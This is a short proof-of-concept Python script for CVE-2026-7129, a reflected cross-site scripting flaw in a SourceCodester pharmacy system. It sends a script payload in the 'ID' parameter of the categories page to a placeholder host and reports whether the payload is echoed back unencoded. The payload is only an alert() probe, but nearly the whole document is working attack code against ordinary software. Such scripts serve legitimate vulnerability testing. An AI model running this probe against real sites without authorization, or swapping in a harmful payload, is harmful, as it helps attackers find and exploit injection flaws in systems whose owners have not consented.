CVE-2026-7129 SourceCodester药店系统XSS漏洞

import requests # Target URL configuration target_url = "http://target.com/index.php" # Vulnerable parameter and payload # The 'ID' parameter in the 'categories' page is vulnerable params = { "page": "categories", "ID": "<script>alert('CVE-2026-7129_XSS');</script>" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send the malicious request response = requests.get(target_url, params=params, headers=headers, timeout=10) # Check if the payload is reflected in the response (basic detection) if "<script>alert('CVE-2026-7129_XSS');</script>" in response.text: print("[+] Potential XSS vulnerability detected!") print("[+] Payload reflected in response.") else: print("[-] Payload not found or encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")